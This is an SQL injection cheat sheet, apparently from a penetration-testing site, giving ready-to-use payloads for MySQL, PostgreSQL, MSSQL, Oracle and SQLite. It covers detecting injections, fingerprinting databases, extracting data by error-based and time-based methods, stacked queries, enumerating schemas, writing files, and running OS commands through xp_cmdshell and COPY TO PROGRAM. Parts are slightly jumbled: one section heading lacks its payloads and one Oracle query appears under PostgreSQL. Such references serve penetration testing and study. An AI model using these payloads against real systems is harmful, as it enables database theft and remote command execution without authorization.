This is an SQL injection cheatsheet with tried and true payloads / techniques that cover the 5 most popular database variants and their derivatives (MySQL, PostgreSQL, MSSQL/SQL Server, Oracle, SQLite).
Key
Some payloads contain placeholders which need to be replaced with specific values before they can be used. Placeholders are denoted with <> and are uppercase, for example <START>. Replace the entire placeholder (including <>).
Pronunciation Guide
How to pronounce “SQL” correctly.
ESS CUE ELL ✔ SEE KWUHL ✘ SQUEAL ¯\_(ツ)_/¯ SQUIRREL
SQUIRTLE
Avoiding OR <true> (OR 1=1)
With the exception of CTFs, injections involving an OR <true> expression (e.g. ' OR 1=1 -- -) should be avoided unless absolutely necessary.
I wrote about the reasons why in this article and spoke about them at length in this video. If you have a “valid value”, there is practically no need for an OR <true> when doing SQL injections. A valid value is one which returns a “positive” result in the application, for example a search term that returns 1 or more results, an ID that maps to an actual resource (e.g. user, product, etc.), or a valid username.
“Safe” OR-Based Payloads
Somewhat contrary to the previous section, there are actually “safe” OR-Based payloads which can be used without a valid value, and should only return the first row of the query results. I explain how these payloads work in this video, with credit to Coffin & Richard Moore for the initial research.
A simplistic but generally reliable method for finding basic SQL injections.
First, “break” the statement by injecting a single or double quote into an otherwise valid value (e.g. username=admin').
Then, replace the injected quote with each of the following “repairs” in turn, to see if one results in the original (uninjected) response:
' '
'||'
'+'
' AND '1'='1
' -- -
In some cases, none of our “repairs” work because we are injecting into an integer value. In these cases, try the following repairs. Note that each one begins with a space:
-- -
AND 1=1
AND 1=1 -- -
For example, suppose that some search functionality exists where the search term shirt returns 23 results. Thus the valid value is shirt and the associated valid response is the page containing 23 results. Appending a single quote to the search term shirt' breaks the SQL statement and now 0 results are returned. Note that this may also be because the search term shirt' is now invalid, but the “repair” process should determine this.
Replace the single quote with one of the “repairs”, for example shirt' '. This new search term once again returns 23 results. Since this matches the original valid response, it is highly likely that the search functionality suffers from SQL injection.
This could be confirmed by attempting a UNION injection attack, or by injecting two boolean payloads: shirt' AND '1'='1 shirt' AND '1'='0
The first should return the original valid response (23 results), while the second should return 0 results.
Identifying Variants
Once a potential injection is found, the database variant (e.g. MySQL, PostgreSQL) can be identified by injecting these payloads in order until a positive result is returned:
1
AND 'foo' 'bar' = 'foobar'
MySQL
2
AND DATALENGTH('foo') = 3
MSSQL
3
AND TO_HEX(1) = '1'
PostgreSQL
4
AND LENGTHB('foo') = '3'
Oracle
5
AND GLOB('foo*', 'foobar') = 1
SQLite
Comments
This comment syntax can be used to add comments to SQL statements, useful for commenting out anything after an injection, as well as bypassing certain filters. Note that -- comments require a space after the -- to be valid, and /*comment*/ are in-line comments.
MySQL
# comment
-- comment
/*comment*/
PostgreSQL
-- comment
/*comment*/
MSSQL
-- comment
/*comment*/
Oracle
-- comment
/*comment*/
SQLite
-- comment
/*comment*/
String Concatenation
These functions / operators can be used to concatenate two or more strings together.
MySQL
'foo' 'bar'
CONCAT('foo', 'bar')
PostgreSQL
'foo'||'bar'
CONCAT('foo', 'bar')
MSSQL
'foo'+'bar'
CONCAT('foo', 'bar')
Oracle
'foo'||'bar'
CONCAT('foo', 'bar')
SQLite
'foo'||'bar'
CONCAT('foo', 'bar')
Substrings
These functions can be used to select a substring of a string. The START value should be set to 1 (not 0) to start the substring from the first character. Commaless versions are also included for bypassing certain WAFs / filtering.
MySQL
SUBSTRING('foobar', <START>, <LENGTH>)
SUBSTR('foobar', <START>, <LENGTH>)
MID('foobar', <START>, <LENGTH>)
SUBSTRING('foobar' FROM <START> FOR <LENGTH>)
SUBSTR and MID can also be used for this commaless version.
PostgreSQL
SUBSTRING('foobar', <START>, <LENGTH>)
SUBSTR('foobar', <START>, <LENGTH>)
SUBSTRING('foobar' FROM <START> FOR <LENGTH>)
MSSQL
SUBSTRING('foobar', <START>, <LENGTH>)
Oracle
SUBSTR('foobar', <START>, <LENGTH>)
SQLite
SUBSTRING('foobar', <START>, <LENGTH>)
SUBSTR('foobar', <START>, <LENGTH>)
Length
These functions count the length of strings, either in terms of bytes or characters (since some characters can have multiple bytes thanks to Unicode).
MySQL
LENGTH('foo')
Counts number of bytes
CHAR_LENGTH('foo')
Counts number of chars (inc. multi-byte chars)
PostgreSQL
LENGTH('foo')
Counts number of chars (inc. multi-byte chars)
MSSQL
DATALENGTH('foo')
Counts number of bytes
LEN('foo')
Counts number of chars (inc. multi-byte chars)
Oracle
LENGTHB('foo')
Counts number of bytes
LENGTH('foo')
Counts number of chars (inc. multi-byte chars)
SQLite
LENGTH('foo')
Counts number of chars (inc. multi-byte chars)
Group Concatenation
These functions concatenate values from multiple rows of results into a single string. Replace <DELIMITER> with the string/character you want separating each value (e.g. a comma).
MySQL
GROUP_CONCAT(expression, '<DELIMITER>')
PostgreSQL
STRING_AGG(expression, '<DELIMITER>')
MSSQL
STRING_AGG(expression, '<DELIMITER>')
Oracle
LISTAGG(expression, '<DELIMITER>')
SQLite
GROUP_CONCAT(expression, '<DELIMITER>')
Convert Characters to Integers for Comparisons
Useful for blind SQL injections to determine the range a character falls in. Note that MySQL and Oracle's functions output a hexadecimal number, while the others output a decimal.
MySQL
HEX('a')
61
PostgreSQL
ASCII('a')
97
MSSQL
UNICODE('a')
97
Oracle
RAWTOHEX('a')
61
SQLite
UNICODE('a')
97
Limiting & Offsetting Queries
Syntax for limiting the query results to a certain number of rows, as well as offsetting the starting row. Commaless versions are also included for bypassing certain WAFs / filtering.
MySQL
SELECT * FROM users LIMIT 1
SELECT * FROM users LIMIT 4, 1
SELECT * FROM users LIMIT 1 OFFSET 4
PostgreSQL
SELECT * FROM users LIMIT 1
SELECT * FROM users LIMIT 1 OFFSET 4
MSSQL
SELECT * FROM users ORDER BY 1 OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY
SELECT * FROM users ORDER BY 1 OFFSET 4 ROWS FETCH NEXT 1 ROWS ONLY
Oracle >= v12
SELECT * FROM users FETCH NEXT 1 ROWS ONLY
SELECT * FROM users OFFSET 4 ROWS FETCH NEXT 1 ROWS ONLY
Oracle <= v11
SELECT * FROM users WHERE ROWNUM = 1
SELECT * FROM users WHERE ROWNUM = 5
SQLite
SELECT * FROM users LIMIT 1
SELECT * FROM users LIMIT 4, 1
SELECT * FROM users LIMIT 1 OFFSET 4
Database Version
Functions and operators that provide the version information of the database.
MySQL
@@VERSION
VERSION()
@@GLOBAL.VERSION
PostgreSQL
VERSION()
MSSQL
@@VERSION
Oracle
SELECT BANNER FROM v$version WHERE ROWNUM = 1
SELECT BANNER FROM gv$version WHERE ROWNUM = 1
SQLite
sqlite_version()
Current Database / Schema
Queries which return the currently selected database / schema.
MySQL
SELECT DATABASE()
PostgreSQL
SELECT CURRENT_DATABASE()
SELECT CURRENT_SCHEMA()
MSSQL
SELECT DB_NAME()
SELECT SCHEMA_NAME()
Oracle
SELECT name FROM V$database
SELECT * FROM global_name
SELECT sys_context('USERENV', 'CURRENT_SCHEMA') FROM dual;
SQLite
N/A
List Databases
Queries which return a list of all databases / schemas.
MySQL
SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA
SELECT db FROM mysql.db
PostgreSQL
SELECT datname FROM pg_database
SELECT DISTINCT(schemaname) FROM pg_tables
MSSQL
SELECT name FROM master.sys.databases
SELECT name FROM master..sysdatabases
Oracle
SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)
SQLite
N/A
List Tables
Queries which return a list of all tables in a given database / schema.
MySQL
SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='<DBNAME>'
SELECT database_name,table_name FROM mysql.innodb_table_stats WHERE database_name='<DBNAME>'
PostgreSQL
SELECT tablename FROM pg_tables WHERE schemaname = '<SCHEMA_NAME>'
SELECT table_name FROM information_schema.tables WHERE table_schema='<SCHEMA_NAME>'
MSSQL
SELECT table_name FROM information_schema.tables WHERE table_catalog='<DBNAME>'
SELECT name FROM <DBNAME>..sysobjects WHERE xtype='U'
Oracle
SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='<DBNAME>'
SQLite
SELECT tbl_name FROM sqlite_master WHERE type='table'
List Columns
Queries which return a list of all columns in a given table & database / schema pair.
MySQL
SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='<TABLE_NAME>' AND table_schema='<DBNAME>'
PostgreSQL
SELECT column_name,data_type FROM information_schema.columns WHERE table_schema='<DBNAME>' AND table_name='<TABLE_NAME>'
SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='<TABLE_NAME>' AND OWNER='<DBNAME>'
SQLite
SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='<TABLE_NAME>'
SELECT name FROM PRAGMA_TABLE_INFO('<TABLE_NAME>')
Boolean Error Inferential Exploitation
Payloads which cause an error in the SQL if the 1=1 conditional is true. Replace the 1=1 with a condition you want to test; if an error propagates back to the response in some measurable way (e.g. 500 Internal Server Error), then the condition is true.
MySQL
AND 1=(SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),1))
PostgreSQL
AND 1=(SELECT CASE WHEN (1=1) THEN CAST(1/0 AS INTEGER) ELSE 1 END)
MSSQL
AND 1=(SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END)
Oracle
AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)
SQLite
AND 1=(SELECT CASE WHEN (1=1) THEN load_extension(1) ELSE 1 END)
AND 1=(SELECT CASE WHEN (1=1) THEN abs(-9223372036854775808) ELSE 1 END)
Error Based Exploitation
These injection payloads should cause a database error and return the version information of the database variant within that error.
MySQL
AND GTID_SUBSET(CONCAT('~',(SELECT version()),'~'),1337) -- -
AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('~',(SELECT version()),'~')) USING utf8))) -- -
AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT version()),'~')) -- -
AND UPDATEXML(1337,CONCAT('.','~',(SELECT version()),'~'),31337) -- -
OR 1 GROUP BY CONCAT('~',(SELECT version()),'~',FLOOR(RAND(0)*2)) HAVING MIN(0) -- -
AND EXP(~(SELECT * FROM (SELECT CONCAT('~',(SELECT version()),'~','x'))x)) -- -
PostgreSQL
AND 1337=CAST('~'||(SELECT version())::text||'~' AS NUMERIC) -- -
AND (CAST('~'||(SELECT version())::text||'~' AS NUMERIC)) -- -
AND CAST((SELECT version()) AS INT)=1337 -- -
AND (SELECT version())::int=1 -- -
MSSQL
AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -
AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- -
AND 1337=CONCAT('~',(SELECT @@version),'~') -- -
Oracle
AND 1337=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'~'||(REPLACE(REPLACE(REPLACE(REPLACE((SELECT banner FROM v$version),' ','_'),'$','(DOLLAR)'),'@','(AT)'),'#','(HASH)'))||'~'||CHR(62))) FROM DUAL) -- -
AND 1337=UTL_INADDR.GET_HOST_ADDRESS('~'||(SELECT banner FROM v$version)||'~') -- -
AND 1337=CTXSYS.DRITHSX.SN(1337,'~'||(SELECT banner FROM v$version)||'~') -- -
AND 1337=DBMS_UTILITY.SQLID_TO_SQLHASH('~'||(SELECT banner FROM v$version)||'~') -- -
Time Based Exploitation
Simple Time Based Injections
Note that these injection payloads are inherently dangerous as the sleep function may execute multiple times. They will cause the database to sleep for 10 seconds per row evaluated by the query.
These should only be used if you are certain only one row is going to be evaluated by the query you are injecting into.
MySQL
AND SLEEP(10)=0
PostgreSQL
AND 'RANDSTR'||PG_SLEEP(10)='RANDSTR'
MSSQL
AND 1337=(CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 1337 END)
Oracle
AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END)
SQLite
AND 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
Complex Time Based Injections
These injection payloads are “safe” and should only ever sleep (for 10 seconds) once per statement. Replace the 1=1 with a condition you want to test; if a delay of 10 seconds occurs, then the condition is true.
MySQL
AND (SELECT 1337 FROM (SELECT(SLEEP(10-(IF((1=1),0,10))))) RANDSTR)
PostgreSQL
AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(10)) ELSE 1337 END)
MSSQL
AND 1337=(CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 1337 END)
Oracle
AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END)
SQLite
AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))))) ELSE 1337 END)
Stack Based Injection
Generally if stack based injection is supported, it is only detectable by causing a time based delay. These injection payloads should cause a delay of 10 seconds:
MySQL
; SLEEP(10) -- -
PostgreSQL
; PG_SLEEP(10) -- -
MSSQL
; WAITFOR DELAY '0:0:10' -- -
Oracle
; DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) -- -
SQLite
; RANDOMBLOB(1000000000/2) -- -
These injection payloads should cause a delay of 10 seconds if the 1=1 conditional is true. Replace the 1=1 with a condition you want to test; if a delay of 10 seconds occurs, then the condition is true.
MySQL
; SELECT IF((1=1),SLEEP(10),1337)
PostgreSQL
; SELECT (CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(10)) ELSE 1337 END)
MSSQL
; IF(1=1) WAITFOR DELAY '0:0:10'
Oracle
; SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END FROM DUAL
SQLite
; SELECT (CASE WHEN (1=1) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))) ELSE 1337 END)
Reading Local Files
These functions read the contents of local files. The Oracle method can only occur if stacked injections are possible. SQLite's readfile is not a core function.
These statements write content to a local file. The PostgreSQL, MSSQL, and Oracle methods can only occur if stacked injections are possible. MSSQL requires the “Ole Automation Procedures” to be enabled.
SELECT writefile('/path/to/file', column_name) FROM table_name
Executing OS Commands
These statements execute local OS commands. The PostgreSQL, MSSQL, and 2nd Oracle methods can only occur if stacked injections are possible. The 1st Oracle method requires the OS_Command package.
MySQL
Not Possible
PostgreSQL
COPY (SELECT '') to program '<COMMAND>'
MSSQL
EXEC xp_cmdshell '<COMMAND>'
Oracle
SELECT os_command.exec_clob('<COMMAND>') cmd from dual
The vast majority of the information comprised here came from my own research / experimentation with various injections and database variants. However several payloads were either taken from, or based on those found in the popular SQL injection tool SQLmap.
This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
By continuing to use this site, you are consenting to our use of cookies.